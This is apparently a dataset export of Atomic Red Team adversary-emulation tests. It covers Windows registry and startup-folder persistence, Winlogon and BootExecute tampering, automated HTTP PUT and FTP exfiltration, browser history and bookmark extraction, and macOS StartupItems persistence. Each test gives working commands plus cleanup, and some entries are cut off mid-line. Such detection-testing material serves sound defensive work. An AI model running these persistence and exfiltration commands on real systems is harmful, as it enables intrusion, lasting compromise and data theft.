deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
Test: Change Startup Folder - HKCU Modify User Shell Folders Startup Value
Platforms: windows
Executor: powershell

Description:
This test will modify the HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders  -V "Startup" value 
to point to a new startup folder where a payload could be stored to launch at boot.  *successful execution requires system restart


Command:
New-Item -ItemType Directory -path "#{new_startup_folder}"
Copy-Item -path "#{payload}" -destination "#{new_startup_folder}"
Set-ItemProperty -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Startup" -Value "#{new_startup_folder}"


Cleanup:
Set-ItemProperty -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Startup" -Value "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
Remove-Item "#{new_startup_folder}" -Recurse -Force
Atomic Red Team — T1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
Test: HKCU - Policy Settings Explorer Run Key
Platforms: windows
Executor: powershell

Description:
This test will create a new value under HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run to launch calc.exe on boot. 
*Requires reboot


Command:
if (!(Test-Path -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer")){
  New-Item -ItemType Key -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
}
if (!(Test-Path -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run")){
  New-Item -ItemType Key -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
}
Set-ItemProperty -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" -Name "#{target_key_value_name}" -Value "#{payload}"


Cleanup:
Remove-ItemProperty -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" -Name "#{target_key_value_name}"
Atomic Red Team — T1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
Test: HKLM - Policy Settings Explorer Run Key
Platforms: windows
Executor: powershell

Description:
This test will create a HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run key value to launch calc.exe on boot. 
*Requires reboot


Command:
if (!(Test-Path -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run")){
  New-Item -ItemType Key -Path  "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
}
Set-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" -Name "#{target_key_value_name}" -Value "#{payload}"


Cleanup:
Remove-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" -Name "#{target_key_value_name}"
Atomic Red Team — T1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
Test: HKLM - Append Command to Winlogon Userinit KEY Value
Platforms: windows
Executor: powershell

Description:
This test will append a command to the  HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit value to launch calc.exe on boot.
* Requires reboot


Command:
$oldvalue = $(Get-ItemPropertyValue -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit");
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit-backup" -Value "$oldvalue";
$newvalue = $oldvalue + " #{payload}";
Set-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit" -Value "$newvalue"


Cleanup:
$oldvalue = $(Get-ItemPropertyValue -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name 'Userinit-backup');
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit" -Value "$oldvalue";
Remove-ItemProperty -Path  "HKLM:\Software\Micr
Atomic Red Team — T1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
Test: HKLM - Modify default System Shell - Winlogon Shell KEY Value 
Platforms: windows
Executor: powershell

Description:
This test change the default value of HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell from "explorer.exe" to the full path of "C:\Windows\explorer.exe" 
to log a change to the key's default value without breaking boot sequence. 
An atacker will alternatively replace this with a custom shell. 


Command:
$oldvalue = $(Get-ItemPropertyValue -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell");
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell-backup" -Value "$oldvalue";
$newvalue = $oldvalue + ", #{payload}";
Set-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell" -Value "$newvalue"


Cleanup:
$oldvalue = $(Get-ItemPropertyValue -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name 'Shell-backup');
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell" -Value "$oldvalue";
Remove-ItemProperty -Path  "HKLM:\Software\Microsoft\
Atomic Red Team — T1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
Test: secedit used to create a Run key in the HKLM Hive
Platforms: windows
Executor: command_prompt

Description:
secedit allows to manipulate the HKLM hive of the Windows registry. This test creates a Run key with the keyname calc having calc.exe as the value in the HKLM hive.
[Reference](https://blueteamops.medium.com/secedit-and-i-know-it-595056dee53d)


Command:
secedit /import /db #{secedit_db} /cfg "#{ini_file}"
secedit /configure /db #{secedit_db}


Cleanup:
REG DELETE "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "calc" /f >nul 2>&1
Atomic Red Team — T1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
Test: Modify BootExecute Value
Platforms: windows
Executor: powershell

Description:
This test modifies the BootExecute registry value to "autocheck autoche *", which can be used to simulate an adversary's attempt to tamper with the system's boot process. 
Reference - https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf
NOTE that by not saving the correct value, you may inhibit your system from booting properly. Only run on a test system. There is a reg export before running the Atomic.


Command:
if (!(Test-Path "$PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg")) { reg.exe export "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" "$PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg" /y }
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" -Name "BootExecute" -Value "#{registry_value}" -Type MultiString


Cleanup:
reg.exe import "$PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg"
Remove-Item -Path "$PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg" -Force
Atomic Red Team — T1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
Test: Allowing custom application to execute during new RDP logon session
Platforms: windows
Executor: command_prompt

Description:
When a users logs in to a computer via RDP,Windows will search for the key in HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd registry
By default, rdpclip is the value stored. An attacker with administrator privileges can alter the value stored to allow for the custom application to execute during RDP login session.The test will allow running cal rather rdpclip when a user logs in via RDP


Command:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd" /f /v StartupPrograms /t REG_SZ /d "#{malicious_app}"


Cleanup:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd" /f /v StartupPrograms /t REG_SZ /d "rdpclip"
Atomic Red Team — T1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
Test: Creating Boot Verification Program Key for application execution during successful boot
Platforms: windows
Executor: command_prompt

Description:
Microsoft allows users to define a custom boot verification program for those situations by creating the registry key “HKLM\System\CurrentControlSet\Control\BootVerificationProgram” and setting the value of ImagePath to the path of boot verification program.Threat Actor
can abuse by creating this registry key and providing a malicious application to be executed during successful boot


Command:
reg add HKLM\System\CurrentControlSet\Control\BootVerificationProgram /v ImagePath /t REG_SZ /d "#{malicious_file}"


Cleanup:
reg delete HKLM\System\CurrentControlSet\Control\BootVerificationProgram /f
Atomic Red Team — T1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
Test: Add persistence via Windows Context Menu
Platforms: windows
Executor: command_prompt

Description:
This atomic test add persistence taking advantage of the  Windows Context Menu [Hexacorn](https://www.hexacorn.com/blog/2018/07/29/beyond-good-ol-run-key-part-82/)
User have to right click on the main screen or in the white space of the opened folder (e.g. Size Modify).


Command:
reg add "HKEY_CLASSES_ROOT\Directory\Background\shell\Size Modify\command" /ve /t REG_SZ /d "C:\Windows\System32\calc.exe" /f

Cleanup:
reg delete "HKEY_CLASSES_ROOT\Directory\Background\shell\Size Modify" /f
# T1020 - Automated Exfiltration

## Description from ATT&CK

> Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection.(Citation: ESET Gamaredon June 2020)
> 
> When automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).

[Source](https://attack.mitre.org/techniques/T1020)

## Atomic Tests

- [Atomic Test #1: IcedID Botnet HTTP PUT](#atomic-test-1-icedid-botnet-http-put)
- [Atomic Test #2: Exfiltration via Encrypted FTP](#atomic-test-2-exfiltration-via-encrypted-ftp)

### Atomic Test #1: IcedID Botnet HTTP PUT

Creates a text file
Tries to upload to a server via HTTP PUT method with ContentType Header
Deletes a created file

**Supported Platforms:** Windows

**auto_generated_guid:** `9c780d3d-3a14-4278-8ee5-faaeb2ccfbe0`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| file | Exfiltration File | string | C:&#92;temp&#92;T1020_exfilFile.txt|
| domain | Destination Domain | url | https://google.com|

#### Attack Commands: Run with `powershell`!

```powershell
$fileName = "#{file}"
$url = "#{domain}"
$file = New-Item -Force $fileName -Value "This is ART IcedID Botnet Exfil Test"
$contentType = "application/octet-stream"
try {Invoke-WebRequest -Uri $url -Method Put -ContentType $contentType -InFile $fileName} catch{}
```

#### Cleanup Commands

```powershell
$fileName = "#{file}"
Remove-Item -Path $fileName -ErrorAction Ignore
```
### Atomic Test #2: Exfiltration via Encrypted FTP

Simulates encrypted file transfer to an FTP server. For testing purposes, a free FTP testing portal is available at https://sftpcloud.io/tools/free-ftp-server, providing a temporary FTP server for 60 minutes. Use this service responsibly for testing and validation only.

**Supported Platforms:** Windows

**auto_generated_guid:** `5b380e96-b0ef-4072-8a8e-f194cb9eb9ac`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| sampleFile | Path of the sample file to exfiltrate. | String | C:&#92;temp&#92;T1020__FTP_sample.txt|
| ftpServer | FTP server URL. | Url | ftp://example.com|
| credentials | FTP server credentials. | String | [user:password]|

#### Attack Commands: Run with `powershell`!

```powershell
$sampleData = "Sample data for exfiltration test"
Set-Content -Path "#{sampleFile}" -Value $sampleData
$ftpUrl = "#{ftpServer}"
$creds = Get-Credential -Credential "#{credentials}"
Invoke-WebRequest -Uri $ftpUrl -Method Put -InFile "#{sampleFile}" -Credential $creds
```

#### Cleanup Commands

```powershell
Remove-Item -Path "#{sampleFile}" -ErrorAction Ignore
```
Atomic Red Team — T1020: Automated Exfiltration
Test: IcedID Botnet HTTP PUT
Platforms: windows
Executor: powershell

Description:
Creates a text file
Tries to upload to a server via HTTP PUT method with ContentType Header
Deletes a created file

Command:
$fileName = "#{file}"
$url = "#{domain}"
$file = New-Item -Force $fileName -Value "This is ART IcedID Botnet Exfil Test"
$contentType = "application/octet-stream"
try {Invoke-WebRequest -Uri $url -Method Put -ContentType $contentType -InFile $fileName} catch{}

Cleanup:
$fileName = "#{file}"
Remove-Item -Path $fileName -ErrorAction Ignore
Atomic Red Team — T1020: Automated Exfiltration
Test: Exfiltration via Encrypted FTP
Platforms: windows
Executor: powershell

Description:
Simulates encrypted file transfer to an FTP server. For testing purposes, a free FTP testing portal is available at https://sftpcloud.io/tools/free-ftp-server, providing a temporary FTP server for 60 minutes. Use this service responsibly for testing and validation only.

Command:
$sampleData = "Sample data for exfiltration test"
Set-Content -Path "#{sampleFile}" -Value $sampleData
$ftpUrl = "#{ftpServer}"
$creds = Get-Credential -Credential "#{credentials}"
Invoke-WebRequest -Uri $ftpUrl -Method Put -InFile "#{sampleFile}" -Credential $creds


Cleanup:
Remove-Item -Path "#{sampleFile}" -ErrorAction Ignore
# T1010 - Application Window Discovery

## Description from ATT&CK

> Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.(Citation: Prevailion DarkWatchman 2021) For example, information about application windows could be used identify potential data to collect as well as identifying security tooling ([Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) to evade.(Citation: ESET Grandoreiro April 2020)
> 
> Adversaries typically abuse system features for this type of enumeration. For example, they may gather information through native system features such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) commands and [Native API](https://attack.mitre.org/techniques/T1106) functions.

[Source](https://attack.mitre.org/techniques/T1010)

## Atomic Tests

- [Atomic Test #1: List Process Main Windows - C# .NET](#atomic-test-1-list-process-main-windows---c-net)

### Atomic Test #1: List Process Main Windows - C# .NET

Compiles and executes C# code to list main window titles associated with each process.

Upon successful execution, powershell will download the .cs from the Atomic Red Team repo, and cmd.exe will compile and execute T1010.exe. Upon T1010.exe execution, expected output will be via stdout.

**Supported Platforms:** Windows

**auto_generated_guid:** `fe94a1c3-3e22-4dc9-9fdf-3a8bdbc10dc4`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| input_source_code | Path to source of C# code | path | PathToAtomicsFolder&#92;T1010&#92;src&#92;T1010.cs|
| output_file_name | Name of output binary | string | %TEMP%&#92;T1010.exe|

#### Attack Commands: Run with `command_prompt`!

```cmd
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe -out:#{output_file_name} "#{input_source_code}"
#{output_file_name}
```

#### Cleanup Commands

```cmd
del /f /q /s #{output_file_name} >nul 2>&1
```

#### Dependencies: Run with `powershell`!

##### Description: T1010.cs must exist on disk at specified location (#{input_source_code})

###### Check Prereq Commands

```powershell
if (Test-Path "#{input_source_code}") {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
New-Item -Type Directory (split-path "#{input_source_code}") -ErrorAction ignore | Out-Null
Invoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1010/src/T1010.cs -OutFile "#{input_source_code}"
```
Atomic Red Team — T1010: Application Window Discovery
Test: List Process Main Windows - C# .NET
Platforms: windows
Executor: command_prompt

Description:
Compiles and executes C# code to list main window titles associated with each process.

Upon successful execution, powershell will download the .cs from the Atomic Red Team repo, and cmd.exe will compile and execute T1010.exe. Upon T1010.exe execution, expected output will be via stdout.


Command:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe -out:#{output_file_name} "#{input_source_code}"
#{output_file_name}


Cleanup:
del /f /q /s #{output_file_name} >nul 2>&1


Dependencies:
T1010.cs must exist on disk at specified location (#{input_source_code})
Atomic Red Team — T1217: Browser Bookmark Discovery
Test: List Mozilla Firefox Bookmark Database Files on FreeBSD/Linux
Platforms: linux
Executor: sh

Description:
Searches for Mozilla Firefox's places.sqlite file (on FreeBSD or Linux distributions) that contains bookmarks and lists any found instances to a text file.


Command:
find / -path "*.mozilla/firefox/*/places.sqlite" 2>/dev/null -exec echo {} >> #{output_file} \;
cat #{output_file} 2>/dev/null


Cleanup:
rm -f #{output_file} 2>/dev/null
Atomic Red Team — T1217: Browser Bookmark Discovery
Test: List Mozilla Firefox Bookmark Database Files on macOS
Platforms: macos
Executor: sh

Description:
Searches for Mozilla Firefox's places.sqlite file (on macOS) that contains bookmarks and lists any found instances to a text file.


Command:
find / -path "*/Firefox/Profiles/*/places.sqlite" -exec echo {} >> #{output_file} \;
cat #{output_file} 2>/dev/null


Cleanup:
rm -f #{output_file} 2>/dev/null
Atomic Red Team — T1217: Browser Bookmark Discovery
Test: List Google Chrome Bookmark JSON Files on macOS
Platforms: macos
Executor: sh

Description:
Searches for Google Chrome's Bookmark file (on macOS) that contains bookmarks in JSON format and lists any found instances to a text file.


Command:
find / -path "*/Google/Chrome/*/Bookmarks" -exec echo {} >> #{output_file} \;
cat #{output_file} 2>/dev/null


Cleanup:
rm -f #{output_file} 2>/dev/null
Atomic Red Team — T1217: Browser Bookmark Discovery
Test: List Google Chromium Bookmark JSON Files on FreeBSD
Platforms: linux
Executor: sh

Description:
Searches for Google Chromium's Bookmark file (on FreeBSD) that contains bookmarks in JSON format and lists any found instances to a text file.


Command:
find / -path "*/.config/chromium/*/Bookmarks" -exec echo {} >> #{output_file} \;
cat #{output_file} 2>/dev/null


Cleanup:
rm -f #{output_file} 2>/dev/null
Atomic Red Team — T1217: Browser Bookmark Discovery
Test: List Google Chrome / Opera Bookmarks on Windows with powershell
Platforms: windows
Executor: powershell

Description:
Searches for Google Chrome's and Opera's Bookmarks file (on Windows distributions) that contains bookmarks.
Upon execution, paths that contain bookmark files will be displayed.


Command:
Get-ChildItem -Path C:\Users\ -Filter Bookmarks -Recurse -ErrorAction SilentlyContinue -Force
Atomic Red Team — T1217: Browser Bookmark Discovery
Test: List Google Chrome / Edge Chromium Bookmarks on Windows with command prompt
Platforms: windows
Executor: command_prompt

Description:
Searches for Google Chromes's and Edge Chromium's Bookmarks file (on Windows distributions) that contains bookmarks.
Upon execution, paths that contain bookmark files will be displayed.


Command:
where /R C:\Users\ Bookmarks
Atomic Red Team — T1217: Browser Bookmark Discovery
Test: List Mozilla Firefox bookmarks on Windows with command prompt
Platforms: windows
Executor: command_prompt

Description:
Searches for Mozilla Firefox bookmarks file (on Windows distributions) that contains bookmarks in a SQLITE database.
Upon execution, paths that contain bookmark files will be displayed.


Command:
where /R C:\Users\ places.sqlite
Atomic Red Team — T1217: Browser Bookmark Discovery
Test: List Internet Explorer Bookmarks using the command prompt
Platforms: windows
Executor: command_prompt

Description:
This test will list the bookmarks for Internet Explorer that are found in the Favorites folder

Command:
dir /s /b %USERPROFILE%\Favorites
Atomic Red Team — T1217: Browser Bookmark Discovery
Test: List Safari Bookmarks on MacOS
Platforms: macos
Executor: sh

Description:
This test searches for Safari's Bookmarks file (on macOS) and lists any found instances to a text file.


Command:
find / -path "*/Safari/Bookmarks.plist" 2>/dev/null >> #{output_file} 
cat #{output_file} 


Cleanup:
rm -f #{output_file} 2>/dev/null
Atomic Red Team — T1217: Browser Bookmark Discovery
Test: Extract Edge Browsing History
Platforms: windows
Executor: powershell

Description:
This test will extract Microsoft Edge browser's history of current user


Command:
$URL_Regex = '(htt(p|s))://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?'
$History = Get-Content -Path "#{history_path}" | Select-String -AllMatches $URL_Regex | ForEach-Object { $_.Matches.Value } | Sort -Unique
$History | Out-File -FilePath "#{dest_path}"


Cleanup:
Remove-Item -Path "#{dest_path}"
Atomic Red Team — T1217: Browser Bookmark Discovery
Test: Extract chrome Browsing History
Platforms: windows
Executor: powershell

Description:
This test will extract browsing history of the chrome user


Command:
$Username = (whoami).Split('\')[1]
$URL_Regex = '(htt(p|s))://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?'
$History = Get-Content -Path "$Env:systemdrive\Users\$UserName\AppData\Local\Google\Chrome\User Data\Default\History" | Select-String -AllMatches $URL_Regex | ForEach-Object { $_.Matches.Value } | Sort -Unique
$History | Out-File -FilePath "$Env:USERPROFILE\Downloads\chromebrowsinghistory.txt"


Cleanup:
Remove-Item -Path "$Env:USERPROFILE\Downloads\chromebrowsinghistory.txt"
Atomic Red Team — T1037.005: Boot or Logon Initialization Scripts: Startup Items
Test: Add file to Local Library StartupItems
Platforms: macos
Executor: sh

Description:
Modify or create an file in /Library/StartupItems
[Reference](https://www.alienvault.com/blogs/labs-research/diversity-in-recent-mac-malware)


Command:
sudo touch /Library/StartupItems/EvilStartup.plist


Cleanup:
sudo rm /Library/StartupItems/EvilStartup.plist
Atomic Red Team — T1037.005: Boot or Logon Initialization Scripts: Startup Items
Test: Add launch script to launch daemon
Platforms: macos
Executor: bash

Description:
Add launch script to /Library/StartupItems to launch agent
[Example](https://cybersecurity.att.com/blogs/labs-research/diversity-in-recent-mac-malware)


Command:
sudo cp #{path_startup_params} /Library/StartupItems/StartupParameters.plist
sudo cp #{path_malicious_script} /Library/StartupItems/atomic.sh
sudo cp #{path_malicious_plist} /tmp/T1037_005_daemon.plist
sudo /Library/StartupItems/atomic.sh start


Cleanup:
sudo launchctl unload /tmp/T1037_005_daemon.plist
sudo rm /tmp/T1037_005_daemon.plist
sudo rm /Library/StartupItems/atomic.sh
sudo rm /Library/StartupItems/StartupParameters.plist
sudo rm /tmp/T1037_005_daemon.txt


Dependencies:
/Library/StartupItems must exist

The shared library must exist on disk at specified location (#{path_malicious_plist})

The startup script must exist on disk at specified location (#{path_malicious_script})